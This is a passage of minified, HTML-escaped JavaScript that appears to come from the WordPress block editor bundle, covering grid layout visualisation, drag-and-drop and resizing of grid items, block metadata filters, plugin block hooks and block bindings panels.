window.ResizeObserver(e);n.observe(t,{box:&quot;border-box&quot;});const o=new window.ResizeObserver(e);return o.observe(t),()=&gt;{n.disconnect(),o.disconnect()}}),[t]),(0,h.useEffect)((()=&gt;{function e(){l(!0)}function t(){l(!1)}return document.addEventListener(&quot;drag&quot;,e),document.addEventListener(&quot;dragend&quot;,t),()=&gt;{document.removeEventListener(&quot;drag&quot;,e),document.removeEventListener(&quot;dragend&quot;,t)}}),[]),(0,d.jsx)(nf,{className:gs(&quot;block-editor-grid-visualizer&quot;,{&quot;is-dropping-allowed&quot;:s}),clientId:e,__unstablePopoverSlot:&quot;__unstable-block-tools-after&quot;,children:(0,d.jsx)(&quot;div&quot;,{ref:o,className:&quot;block-editor-grid-visualizer__grid&quot;,style:r.style,children:n?(0,d.jsx)(pI,{gridClientId:e,gridInfo:r}):Array.from({length:r.numItems},((e,t)=&gt;(0,d.jsx)(hI,{color:r.currentColor},t)))})})}));function pI({gridClientId:e,gridInfo:t}){const[n,o]=(0,h.useState)(null),r=(0,g.useSelect)((t=&gt;{const{getBlockOrder:n,getBlockStyles:o}=U(t(Ii));return o(n(e))}),[e]),i=(0,h.useMemo)((()=&gt;{const e=[];for(const t of Object.values(r)){const{columnStart:n,rowStart:o,columnSpan:r=1,rowSpan:i=1}=t?.layout??{};n&amp;&amp;o&amp;&amp;e.push(new Vb({columnStart:n,rowStart:o,columnSpan:r,rowSpan:i}))}return e}),[r]);return zb(1,t.numRows).map((r=&gt;zb(1,t.numColumns).map((s=&gt;{const l=i.some((e=&gt;e.contains(s,r))),a=n?.contains(s,r)??!1;return(0,d.jsx)(hI,{color:t.currentColor,className:a&amp;&amp;&quot;is-highlighted&quot;,children:l?(0,d.jsx)(mI,{column:s,row:r,gridClientId:e,gridInfo:t,setHighlightedRect:o}):(0,d.jsx)(fI,{column:s,row:r,gridClientId:e,gridInfo:t,setHighlightedRect:o})},`${r}-${s}`)}))))}function hI({color:e,children:t,className:n}){return(0,d.jsx)(&quot;div&quot;,{className:gs(&quot;block-editor-grid-visualizer__cell&quot;,n),style:{boxShadow:`inset 0 0 0 1px color-mix(in srgb, ${e} 20%, #0000)`,color:e},children:t})}function gI(e,t,n,o,r){const{getBlockAttributes:i,getBlockRootClientId:s,canInsertBlockType:l,getBlockName:a}=(0,g.useSelect)(Ii),{updateBlockAttributes:c,moveBlocksToPosition:u,__unstableMarkNextChangeAsNotPersistent:d}=(0,g.useDispatch)(Ii),p=bm(n,o.numColumns);return function({validateDrag:e,onDragEnter:t,onDragLeave:n,onDrop:o}){const{getDraggedBlockClientIds:r}=(0,g.useSelect)(Ii);return(0,m.__experimentalUseDropZone)({onDragEnter(){const[n]=r();n&amp;&amp;e(n)&amp;&amp;t(n)},onDragLeave(){n()},onDrop(){const[t]=r();t&amp;&amp;e(t)&amp;&amp;o(t)}})}({validateDrag(r){const s=a(r);if(!l(s,n))return!1;const c=i(r),u=new Vb({columnStart:e,rowStart:t,columnSpan:c.style?.layout?.columnSpan,rowSpan:c.style?.layout?.rowSpan});return new Vb({columnSpan:o.numColumns,rowSpan:o.numRows}).containsRect(u)},onDragEnter(n){const o=i(n);r(new Vb({columnStart:e,rowStart:t,columnSpan:o.style?.layout?.columnSpan,rowSpan:o.style?.layout?.rowSpan}))},onDragLeave(){r((n=&gt;n?.columnStart===e&amp;&amp;n?.rowStart===t?null:n))},onDrop(o){r(null);const l=i(o);c(o,{style:{...l.style,layout:{...l.style?.layout,columnStart:e,rowStart:t}}}),d(),u([o],s(o),n,p(e,t))}})}function mI({column:e,row:t,gridClientId:n,gridInfo:o,setHighlightedRect:r}){return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-grid-visualizer__drop-zone&quot;,ref:gI(e,t,n,o,r)})}function fI({column:e,row:t,gridClientId:n,gridInfo:o,setHighlightedRect:r}){const{updateBlockAttributes:i,moveBlocksToPosition:s,__unstableMarkNextChangeAsNotPersistent:l}=(0,g.useDispatch)(Ii),a=bm(n,o.numColumns);return(0,d.jsx)(cI,{rootClientId:n,className:&quot;block-editor-grid-visualizer__appender&quot;,ref:gI(e,t,n,o,r),style:{color:o.currentColor},onSelect:o=&gt;{o&amp;&amp;(i(o.clientId,{style:{layout:{columnStart:e,rowStart:t}}}),l(),s([o.clientId],n,n,a(e,t)))}})}function bI({clientId:e,bounds:t,onChange:n,parentLayout:o}){const r=fh(e),i=r?.parentElement,{isManualPlacement:s}=o;return r&amp;&amp;i?(0,d.jsx)(kI,{clientId:e,bounds:t,blockElement:r,rootBlockElement:i,onChange:n,isManualGrid:s&amp;&amp;window.__experimentalEnableGridInteractivity}):null}function kI({clientId:e,bounds:t,blockElement:n,rootBlockElement:o,onChange:r,isManualGrid:i}){const[s,l]=(0,h.useState)(null),[a,c]=(0,h.useState)({top:!1,bottom:!1,left:!1,right:!1});(0,h.useEffect)((()=&gt;{const e=new window.ResizeObserver((()=&gt;{const e=n.getBoundingClientRect(),t=o.getBoundingClientRect();c({top:e.top&gt;t.top,bottom:e.bottom&lt;t.bottom,left:e.left&gt;t.left,right:e.right&lt;t.right})}));return e.observe(n),()=&gt;e.disconnect()}),[n,o]);const u={right:&quot;left&quot;,left:&quot;right&quot;},p={top:&quot;flex-end&quot;,bottom:&quot;flex-start&quot;},g={display:&quot;flex&quot;,justifyContent:&quot;center&quot;,alignItems:&quot;center&quot;,...u[s]&amp;&amp;{justifyContent:u[s]},...p[s]&amp;&amp;{alignItems:p[s]}};return(0,d.jsx)(nf,{className:&quot;block-editor-grid-item-resizer&quot;,clientId:e,__unstablePopoverSlot:&quot;__unstable-block-tools-after&quot;,additionalStyles:g,children:(0,d.jsx)(Ss.ResizableBox,{className:&quot;block-editor-grid-item-resizer__box&quot;,size:{width:&quot;100%&quot;,height:&quot;100%&quot;},enable:{bottom:a.bottom,bottomLeft:!1,bottomRight:!1,left:a.left,right:a.right,top:a.top,topLeft:!1,topRight:!1},bounds:t,boundsByDirection:!0,onPointerDown:({target:e,pointerId:t})=&gt;{e.setPointerCapture(t)},onResizeStart:(e,t)=&gt;{l(t)},onResizeStop:(e,t,s)=&gt;{const l=parseFloat(Fb(o,&quot;column-gap&quot;)),a=parseFloat(Fb(o,&quot;row-gap&quot;)),c=Hb(Fb(o,&quot;grid-template-columns&quot;),l),u=Hb(Fb(o,&quot;grid-template-rows&quot;),a),d=new window.DOMRect(n.offsetLeft+s.offsetLeft,n.offsetTop+s.offsetTop,s.offsetWidth,s.offsetHeight),p=Ub(c,d.left)+1,h=Ub(u,d.top)+1,g=Ub(c,d.right,&quot;end&quot;)+1,m=Ub(u,d.bottom,&quot;end&quot;)+1;r({columnSpan:g-p+1,rowSpan:m-h+1,columnStart:i?p:void 0,rowStart:i?h:void 0})}})})}var vI=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z&quot;})}),_I=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z&quot;})});function yI({layout:e,parentLayout:t,onChange:n,gridClientId:o,blockClientId:r}){const{moveBlocksToPosition:i,__unstableMarkNextChangeAsNotPersistent:s}=(0,g.useDispatch)(Ii),l=e?.columnStart??1,a=e?.rowStart??1,c=l+(e?.columnSpan??1)-1,u=a+(e?.rowSpan??1)-1,p=t?.columnCount,h=t?.rowCount,m=bm(o,p);return(0,d.jsx)(Ps,{group:&quot;parent&quot;,children:(0,d.jsxs)(Ss.ToolbarGroup,{className:&quot;block-editor-grid-item-mover__move-button-container&quot;,children:[(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-grid-item-mover__move-horizontal-button-container is-left&quot;,children:(0,d.jsx)(xI,{icon:(0,T.isRTL)()?Kb:Zb,label:(0,T.__)(&quot;Move left&quot;),description:(0,T.__)(&quot;Move left&quot;),isDisabled:l&lt;=1,onClick:()=&gt;{n({columnStart:l-1}),s(),i([r],o,o,m(l-1,a))}})}),(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-grid-item-mover__move-vertical-button-container&quot;,children:[(0,d.jsx)(xI,{className:&quot;is-up-button&quot;,icon:vI,label:(0,T.__)(&quot;Move up&quot;),description:(0,T.__)(&quot;Move up&quot;),isDisabled:a&lt;=1,onClick:()=&gt;{n({rowStart:a-1}),s(),i([r],o,o,m(l,a-1))}}),(0,d.jsx)(xI,{className:&quot;is-down-button&quot;,icon:_I,label:(0,T.__)(&quot;Move down&quot;),description:(0,T.__)(&quot;Move down&quot;),isDisabled:h&amp;&amp;u&gt;=h,onClick:()=&gt;{n({rowStart:a+1}),s(),i([r],o,o,m(l,a+1))}})]}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-grid-item-mover__move-horizontal-button-container is-right&quot;,children:(0,d.jsx)(xI,{icon:(0,T.isRTL)()?Zb:Kb,label:(0,T.__)(&quot;Move right&quot;),description:(0,T.__)(&quot;Move right&quot;),isDisabled:p&amp;&amp;c&gt;=p,onClick:()=&gt;{n({columnStart:l+1}),s(),i([r],o,o,m(l+1,a))}})})]})})}function xI({className:e,icon:t,label:n,isDisabled:o,onClick:r,description:i}){const s=`block-editor-grid-item-mover-button__description-${(0,m.useInstanceId)(xI)}`;return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.ToolbarButton,{className:gs(&quot;block-editor-grid-item-mover-button&quot;,e),icon:t,label:n,&quot;aria-describedby&quot;:s,onClick:o?null:r,disabled:o,accessibleWhenDisabled:!0}),(0,d.jsx)(Ss.VisuallyHidden,{id:s,children:i})]})}const SI={};function wI({clientId:e,style:t,setAttributes:n,allowSizingOnChildren:o,isManualPlacement:r,parentLayout:i}){const{rootClientId:s,isVisible:l}=(0,g.useSelect)((t=&gt;{const{getBlockRootClientId:n,getBlockEditingMode:o,getTemplateLock:r}=t(Ii),i=n(e);return r(i)||&quot;default&quot;!==o(i)?{rootClientId:i,isVisible:!1}:{rootClientId:i,isVisible:!0}}),[e]),[a,c]=(0,h.useState)();if(!l)return null;function u(e){n({style:{...t,layout:{...t?.layout,...e}}})}return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(uI,{clientId:s,contentRef:c,parentLayout:i}),o&amp;&amp;(0,d.jsx)(bI,{clientId:e,bounds:a,onChange:u,parentLayout:i}),r&amp;&amp;window.__experimentalEnableGridInteractivity&amp;&amp;(0,d.jsx)(yI,{layout:t?.layout,parentLayout:i,onChange:u,gridClientId:s,blockClientId:e})]})}var CI={useBlockProps:function({style:e}){const t=(0,g.useSelect)((e=&gt;!e(Ii).getSettings().disableLayoutStyles)),n=e?.layout??{},{selfStretch:o,flexSize:r,columnStart:i,rowStart:s,columnSpan:l,rowSpan:a}=n,c=ea()||{},{columnCount:u,minimumColumnWidth:d}=c,p=(0,m.useInstanceId)(SI),h=`.wp-container-content-${p}`;let f=&quot;&quot;;if(t&amp;&amp;(&quot;fixed&quot;===o&amp;&amp;r?f=`${h} {\n\t\t\t\tflex-basis: ${r};\n\t\t\t\tbox-sizing: border-box;\n\t\t\t}`:&quot;fill&quot;===o?f=`${h} {\n\t\t\t\tflex-grow: 1;\n\t\t\t}`:i&amp;&amp;l?f=`${h} {\n\t\t\t\tgrid-column: ${i} / span ${l};\n\t\t\t}`:i?f=`${h} {\n\t\t\t\tgrid-column: ${i};\n\t\t\t}`:l&amp;&amp;(f=`${h} {\n\t\t\t\tgrid-column: span ${l};\n\t\t\t}`),s&amp;&amp;a?f+=`${h} {\n\t\t\t\tgrid-row: ${s} / span ${a};\n\t\t\t}`:s?f+=`${h} {\n\t\t\t\tgrid-row: ${s};\n\t\t\t}`:a&amp;&amp;(f+=`${h} {\n\t\t\t\tgrid-row: span ${a};\n\t\t\t}`),(l||i)&amp;&amp;(d||!u))){let e=parseFloat(d);isNaN(e)&amp;&amp;(e=12);let t=d?.replace(e,&quot;&quot;);[&quot;px&quot;,&quot;rem&quot;,&quot;em&quot;].includes(t)||(t=&quot;rem&quot;);let n=2;n=l&amp;&amp;i?l+i-1:l||i;const o=&quot;px&quot;===t?24:1.5,r=n*e+(n-1)*o,s=2*e+o-1,a=l&amp;&amp;l&gt;1?&quot;1/-1&quot;:&quot;auto&quot;;f+=`@container (max-width: ${Math.max(r,s)}${t}) {\n\t\t\t\t${h} {\n\t\t\t\t\tgrid-column: ${a};\n\t\t\t\t\tgrid-row: auto;\n\t\t\t\t}\n\t\t\t}`}if(vs({css:f}),f)return{className:`wp-container-content-${p}`}},edit:function({clientId:e,style:t,setAttributes:n}){const o=ea()||{},{type:r=&quot;default&quot;,allowSizingOnChildren:i=!1,isManualPlacement:s}=o;return&quot;grid&quot;!==r?null:(0,d.jsx)(wI,{clientId:e,style:t,setAttributes:n,allowSizingOnChildren:i,isManualPlacement:s,parentLayout:o})},attributeKeys:[&quot;style&quot;],hasSupport:()=&gt;!0};var BI={edit:function({clientId:e}){const{templateLock:t,isLockedByParent:n,isEditingAsBlocks:o}=(0,g.useSelect)((t=&gt;{const{getContentLockingParent:n,getTemplateLock:o,getTemporarilyEditingAsBlocks:r}=U(t(Ii));return{templateLock:o(e),isLockedByParent:!!n(e),isEditingAsBlocks:r()===e}}),[e]),{stopEditingAsBlocks:r}=U((0,g.useDispatch)(Ii)),i=!n&amp;&amp;&quot;contentOnly&quot;===t,s=(0,h.useCallback)((()=&gt;{r(e)}),[e,r]);return i||o?o&amp;&amp;!i&amp;&amp;(0,d.jsx)(Ps,{group:&quot;other&quot;,children:(0,d.jsx)(Ss.ToolbarButton,{onClick:s,children:(0,T.__)(&quot;Done&quot;)})}):null},hasSupport:()=&gt;!0};const II=&quot;metadata&quot;;(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/metadata/addMetaAttribute&quot;,(function(e){return e?.attributes?.[II]?.type||(e.attributes={...e.attributes,[II]:{type:&quot;object&quot;}}),e})),(0,f.addFilter)(&quot;blocks.switchToBlockType.transformedBlock&quot;,&quot;core/metadata/addTransforms&quot;,(function(e,t,n,o){if(1===o.length&amp;&amp;e.innerBlocks.length===t.length)return e;if(1===o.length&amp;&amp;t.length&gt;1||o.length&gt;1&amp;&amp;1===t.length)return e;if(o.length&gt;1&amp;&amp;t.length&gt;1&amp;&amp;o.length!==t.length)return e;const r=t[n]?.attributes?.metadata;if(!r)return e;const i={};return r.noteId&amp;&amp;!e.attributes?.metadata?.noteId&amp;&amp;(i.noteId=r.noteId),r.name&amp;&amp;!e.attributes?.metadata?.name&amp;&amp;(0,p.hasBlockSupport)(e.name,&quot;renaming&quot;,!0)&amp;&amp;(i.name=r.name),void 0!==r.blockVisibility&amp;&amp;!e.attributes?.metadata?.blockVisibility&amp;&amp;(0,p.hasBlockSupport)(e.name,&quot;visibility&quot;,!0)&amp;&amp;(i.blockVisibility=r.blockVisibility),Object.keys(i).length&gt;0?{...e,attributes:{...e.attributes,metadata:{...e.attributes.metadata,...i}}}:e}));const jI={};var EI={edit:function({name:e,clientId:t,metadata:{ignoredHookedBlocks:n=[]}={}}){const o=(0,g.useSelect)((e=&gt;e(p.store).getBlockTypes()),[]),r=(0,h.useMemo)((()=&gt;o?.filter((({name:t,blockHooks:o})=&gt;o&amp;&amp;e in o||n.includes(t)))),[o,e,n]),i=(0,g.useSelect)((n=&gt;{const{getBlocks:o,getBlockRootClientId:i,getGlobalBlockCount:s}=n(Ii),l=i(t),a=r.reduce(((n,r)=&gt;{if(0===s(r.name))return n;const i=r?.blockHooks?.[e];let a;switch(i){case&quot;before&quot;:case&quot;after&quot;:a=o(l);break;case&quot;first_child&quot;:case&quot;last_child&quot;:a=o(t);break;case void 0:a=[...o(l),...o(t)]}const c=a?.find((e=&gt;e.name===r.name));return c?{...n,[r.name]:c.clientId}:n}),{});return Object.values(a).length&gt;0?a:jI}),[r,e,t]),{getBlockIndex:s,getBlockCount:l,getBlockRootClientId:a}=(0,g.useSelect)(Ii),{insertBlock:c,removeBlock:u}=(0,g.useDispatch)(Ii);if(!r.length)return null;const m=r.reduce(((e,t)=&gt;{const[n]=t.name.split(&quot;/&quot;);return e[n]||(e[n]=[]),e[n].push(t),e}),{});return(0,d.jsx)(Va,{children:(0,d.jsxs)(Ss.PanelBody,{className:&quot;block-editor-hooks__block-hooks&quot;,title:(0,T.__)(&quot;Plugins&quot;),initialOpen:!0,children:[(0,d.jsx)(&quot;p&quot;,{className:&quot;block-editor-hooks__block-hooks-helptext&quot;,children:(0,T.__)(&quot;Manage the inclusion of blocks added automatically by plugins.&quot;)}),Object.keys(m).map((n=&gt;(0,d.jsxs)(h.Fragment,{children:[(0,d.jsx)(&quot;h3&quot;,{children:n}),m[n].map((n=&gt;{const o=n.name in i;return(0,d.jsx)(Ss.ToggleControl,{__nextHasNoMarginBottom:!0,checked:o,label:n.title,onChange:()=&gt;{if(o)u(i[n.name],!1);else{const o=n.blockHooks[e];((e,n)=&gt;{const o=s(t),r=l(t),i=a(t);switch(n){case&quot;before&quot;:case&quot;after&quot;:c(e,&quot;after&quot;===n?o+1:o,i,!1);break;case&quot;first_child&quot;:case&quot;last_child&quot;:c(e,&quot;first_child&quot;===n?0:r,t,!1);break;case void 0:c(e,o+1,i,!1)}})((0,p.createBlock)(n.name),o)}}},n.title)}))]},n)))]})})},attributeKeys:[&quot;metadata&quot;],hasSupport:()=&gt;!0};const{Menu:TI}=U(Ss.privateApis),MI={},PI=(e,t)=&gt;{const n=(0,p.getBlockType)(e).attributes?.[t]?.type;return&quot;rich-text&quot;===n?&quot;string&quot;:n};function RI({attribute:e,binding:t,sources:n}){const{clientId:o}=C(),{updateBlockBindings:r}=uv(),i=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),s=(0,h.useContext)(iv),{attributeType:l,select:a}=(0,g.useSelect)((t=&gt;{const{name:n}=t(Ii).getBlock(o);return{attributeType:PI(n,e),select:t}}),[o,e]);return(0,d.jsx)(TI,{placement:i?&quot;bottom-start&quot;:&quot;left-start&quot;,children:Object.entries(n).map((([n,o])=&gt;{const c=o.data?.filter((e=&gt;e?.type===l));return!c||0===c.length?null:(0,d.jsxs)(TI,{placement:i?&quot;bottom-start&quot;:&quot;left-start&quot;,children:[(0,d.jsx)(TI.SubmenuTriggerItem,{children:(0,d.jsx)(TI.ItemLabel,{children:o.label})}),(0,d.jsx)(TI.Popover,{gutter:8,children:(0,d.jsx)(TI.Group,{children:c.map((i=&gt;{const l={source:n,args:i?.args||{key:i.key}};let c={};try{c=o.getValues({select:a,context:s,bindings:{[e]:l}})}catch(e){}return(0,d.jsxs)(TI.CheckboxItem,{onChange:()=&gt;{const n=E()(t?.args,i.args)??i.key===t?.args?.key;r(n?{[e]:void 0}:{[e]:l})},name:e+&quot;-binding&quot;,value:c[e],checked:E()(t?.args,i.args)??i.key===t?.args?.key,children:[(0,d.jsx)(TI.ItemLabel,{children:i?.label}),(0,d.jsx)(TI.ItemHelpText,{children:c[e]})]},n+JSON.stringify(i.args)||i.key)}))})})]},n)}))})}function AI({attribute:e,binding:t,sources:n,blockName:o}){const{source:r,args:i}=t||{},s=n?.[r];let l,a=!0;if(void 0===t){const t=PI(o,e);l=Object.values(n).some((e=&gt;e.data?.some((e=&gt;e?.type===t))))?(0,T.__)(&quot;Not connected&quot;):(0,T.__)(&quot;No sources available&quot;),a=!0}else s?l=s.data?.find((e=&gt;E()(e.args,i)))?.label||s.label||r:(a=!1,l=(0,T.__)(&quot;Source not registered&quot;),0===Object.keys(n).length&amp;&amp;(l=(0,T.__)(&quot;No sources available&quot;)));return(0,d.jsxs)(Ss.__experimentalVStack,{className:&quot;block-editor-bindings__item&quot;,spacing:0,children:[(0,d.jsx)(Ss.__experimentalText,{truncate:!0,children:e}),(0,d.jsx)(Ss.__experimentalText,{truncate:!0,variant:a?&quot;muted&quot;:void 0,isDestructive:!a,children:l})]})}function NI({attribute:e,binding:t,sources:n,blockName:o}){const r=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);return(0,d.jsx)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t,label:e,children:(0,d.jsx)(TI,{placement:r?&quot;bottom-start&quot;:&quot;left-start&quot;,children:(0,d.jsx)(TI.TriggerButton,{render:(0,d.jsx)(Ss.__experimentalItem,{}),disabled:!0,children:(0,d.jsx)(AI,{attribute:e,binding:t,sources:n,blockName:o})})})})}function LI({attribute:e,binding:t,sources:n,blockName:o}){const{updateBlockBindings:r}=uv(),i=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);return(0,d.jsx)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t,label:e,onDeselect:()=&gt;{r({[e]:void 0})},children:(0,d.jsxs)(TI,{placement:i?&quot;bottom-start&quot;:&quot;left-start&quot;,children:[(0,d.jsx)(TI.TriggerButton,{render:(0,d.jsx)(Ss.__experimentalItem,{}),children:(0,d.jsx)(AI,{attribute:e,binding:t,sources:n,blockName:o})}),(0,d.jsx)(TI.Popover,{gutter:i?8:36,children:(0,d.jsx)(RI,{attribute:e,binding:t,sources:n})})]})})}var DI={edit:({name:e,metadata:t})=&gt;{const n=(0,h.useContext)(iv),{removeAllBlockBindings:o}=uv(),r=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;)?{}:{popoverProps:{placement:&quot;left-start&quot;,offset:259}},i={},{sources:s,canUpdateBlockBindings:l,bindableAttributes:a}=(0,g.useSelect)((t=&gt;{const{__experimentalBlockBindingsSupportedAttributes:o}=t(Ii).getSettings(),r=o?.[e];if(!r||0===r.length)return MI;const s=(0,p.getBlockBindingsSources)();return Object.entries(s).forEach((([e,{getFieldsList:o,usesContext:r,label:s,getValues:l}])=&gt;{const a={};if(r?.length)for(const e of r)a[e]=n[e];if(o){const n=o({select:t,context:a});i[e]={data:n||[],label:s,getValues:l}}else i[e]={data:[],label:s,getValues:l}})),{sources:Object.values(i).length&gt;0?i:MI,canUpdateBlockBindings:t(Ii).getSettings().canUpdateBlockBindings,bindableAttributes:r}}),[n,e]);if(!a||0===a.length)return null;const{bindings:c}=t||{},u=Object.values(s).some((e=&gt;e.data&amp;&amp;e.data.length&gt;0)),f=!l||!u;return void 0!==c||u?(0,d.jsx)(Va,{group:&quot;bindings&quot;,children:(0,d.jsxs)(Ss.__experimentalToolsPanel,{label:(0,T.__)(&quot;Attributes&quot;),resetAll:()=&gt;{o()},dropdownMenuProps:r,className:&quot;block-editor-bindings__panel&quot;,children:[(0,d.jsx)(Ss.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:a.map((t=&gt;{const n=c?.[t],o=PI(e,t),r=Object.values(s).some((e=&gt;e.data?.some((e=&gt;e?.type===o))));return f||!r?(0,d.jsx)(NI,{attribute:t,binding:n,sources:s,blockName:e},t):(0,d.jsx)(LI,{attribute:t,binding:n,sources:s,blockName:e},t)}))}),(0,d.jsx)(Ss.__experimentalText,{as:&quot;div&quot;,variant:&quot;muted&quot;,children:(0,d.jsx)(&quot;p&quot;,{children:(0,T.__)(&quot;Attributes connected to custom fields or other dynamic data.&quot;)})})]})}):null},attributeKeys:[&quot;metadata&quot;],hasSupport:e=&gt;![&quot;core/post-date&quot;,&quot;core/navigation-link&quot;,&quot;core/navigation-submenu&quot;].includes(e)};function OI(e,t,n,o,r=1,i=1){for(let s=i;;s++)for(let l=s===i?r:1;l&lt;=t;l++){const t=new Vb({columnStart:l,rowStart:s,columnSpan:n,rowSpan:o});if(!e.some((e=&gt;e.intersectsRect(t))))return[l,s]}}function zI(e){!function({clientId:e}){const{gridLayout:t,blockOrder:n,selectedBlockLayout:o}=(0,g.useSelect)((t=&gt;{const{getBlockAttributes:n,getBlockOrder:o}=t(Ii),r=t(Ii).getSelectedBlock();return{gridLayout:n(e).layout??{},blockOrder:o(e),selectedBlockLayout:r?.attributes.style?.layout}}),[e]),{getBlockAttributes:r,getBlockRootClientId:i}=(0,g.useSelect)(Ii),{updateBlockAttributes:s,__unstableMarkNextChangeAsNotPersistent:l}=(0,g.useDispatch)(Ii),a=(0,h.useMemo)((()=&gt;o?new Vb(o):null),[o]),c=(0,m.usePrevious)(a),u=(0,m.usePrevious)(t.isManualPlacement),d=(0,m.usePrevious)(n);(0,h.useEffect)((()=&gt;{const o={};if(t.isManualPlacement){const s=[];for(const e of n){const{columnStart:t,rowStart:n,columnSpan:o=1,rowSpan:i=1}=r(e).style?.layout??{};t&amp;&amp;n&amp;&amp;s.push(new Vb({columnStart:t,rowStart:n,columnSpan:o,rowSpan:i}))}for(const e of n){const n=r(e),{columnStart:i,rowStart:l,columnSpan:a=1,rowSpan:u=1}=n.style?.layout??{};if(i&amp;&amp;l)continue;const[d,p]=OI(s,t.columnCount,a,u,c?.columnEnd,c?.rowEnd);s.push(new Vb({columnStart:d,rowStart:p,columnSpan:a,rowSpan:u})),o[e]={style:{...n.style,layout:{...n.style?.layout,columnStart:d,rowStart:p}}}}const l=Math.max(...s.map((e=&gt;e.rowEnd)));(!t.rowCount||t.rowCount&lt;l)&amp;&amp;(o[e]={layout:{...t,rowCount:l}});for(const e of d??[])if(!n.includes(e)){const t=i(e);if(null===t)continue;const n=r(t);if(&quot;grid&quot;===n?.layout?.type)continue;const s=r(e),{columnStart:l,rowStart:a,columnSpan:c,rowSpan:u,...d}=s.style?.layout??{};if(l||a||c||u){const t=0===Object.keys(d).length;o[e]=ge(s,[&quot;style&quot;,&quot;layout&quot;],t?void 0:d)}}}else{if(!0===u)for(const e of n){const t=r(e),{columnStart:n,rowStart:i,...s}=t.style?.layout??{};if(n||i){const n=0===Object.keys(s).length;o[e]=ge(t,[&quot;style&quot;,&quot;layout&quot;],n?void 0:s)}}t.rowCount&amp;&amp;(o[e]={layout:{...t,rowCount:void 0}})}Object.keys(o).length&amp;&amp;(l(),s(Object.keys(o),o,!0))}),[e,t,d,n,c,u,l,r,i,s])}(e)}function VI({clientId:e,layout:t}){const n=(0,g.useSelect)((t=&gt;{const{isBlockSelected:n,isDraggingBlocks:o,getTemplateLock:r,getBlockEditingMode:i}=t(Ii);return!(!o()&amp;&amp;!n(e)||r(e)||&quot;default&quot;!==i(e))}),[e]);return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(zI,{clientId:e}),n&amp;&amp;(0,d.jsx)(uI,{clientId:e,parentLayout:t})]})}(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/metadata/addLabelCallback&quot;,(function(e){return e.__experimentalLabel||(0,p.hasBlockSupport)(e,&quot;renaming&quot;,!0)&amp;&amp;(e.__experimentalLabel=(e,{context:t})=&gt;{const{metadata:n}=e;if(&quot;list-view&quot;===t&amp;&amp;n?.name)return n.name}),e}));const FI=(0,m.createHigherOrderComponent)((e=&gt;t=&gt;&quot;grid&quot;!==t.attributes.layout?.type?(0,d.jsx)(e,{...t},&quot;edit&quot;):(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(VI,{clientId:t.clientId,layout:t.attributes.layout}),(0,d.jsx)(e,{...t},&quot;edit&quot;)]})),&quot;addGridVisualizerToBlockEdit&quot;);function HI(e){const t=e.style?.border||{};return{className:Np(e)||void 0,style:bf({border:t})}}function UI(e){const{colors:t}=Ad(),n=HI(e),{borderColor:o}=e;if(o){const e=Bp({colors:t,namedColor:o});n.style.borderColor=e.color}return n}function GI(e){return{style:bf({shadow:e.style?.shadow||&quot;&quot;})}}function $I(e){const{backgroundColor:t,textColor:n,gradient:o,style:r}=e,i=Rd(&quot;background-color&quot;,t),s=Rd(&quot;color&quot;,n),l=Dp(o),a=l||r?.color?.gradient;return{className:gs(s,l,{[i]:!a&amp;&amp;!!i,&quot;has-text-color&quot;:n||r?.color?.text,&quot;has-background&quot;:t||r?.color?.background||o||r?.color?.gradient,&quot;has-link-color&quot;:r?.elements?.link?.color})||void 0,style:bf({color:r?.color||{}})}}function WI(e){const{backgroundColor:t,textColor:n,gradient:o}=e,[r,i,s,l,a,c]=Ei(&quot;color.palette.custom&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.default&quot;,&quot;color.gradients.custom&quot;,&quot;color.gradients.theme&quot;,&quot;color.gradients.default&quot;),u=(0,h.useMemo)((()=&gt;[...r||[],...i||[],...s||[]]),[r,i,s]),d=(0,h.useMemo)((()=&gt;[...l||[],...a||[],...c||[]]),[l,a,c]),p=$I(e);if(t){const e=Md(u,t);p.style.backgroundColor=e.color}if(o&amp;&amp;(p.style.background=Op(d,o)),n){const e=Md(u,n);p.style.color=e.color}return p}function KI(e){const{style:t}=e;return{style:bf({spacing:t?.spacing||{}})}}(0,f.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/grid-visualizer&quot;,FI);const{kebabCase:ZI}=U(Ss.privateApis);function qI(e,t){let n=e?.style?.typography||{};n={...n,fontSize:$i({size:e?.style?.typography?.fontSize},t)};const o=bf({typography:n}),r=e?.fontFamily?`has-${ZI(e.fontFamily)}-font-family`:&quot;&quot;;return{className:gs(r,e?.style?.typography?.textAlign?`has-text-align-${e?.style?.typography?.textAlign}`:&quot;&quot;,Mg(e?.fontSize)),style:o}}function YI(e){const[t,n]=(0,h.useState)(e);return(0,h.useEffect)((()=&gt;{e&amp;&amp;n(e)}),[e]),t}var XI;!function(e){e=e.map((e=&gt;({...e,Edit:(0,h.memo)(e.edit)})));const t=(0,m.createHigherOrderComponent)((t=&gt;n=&gt;{const 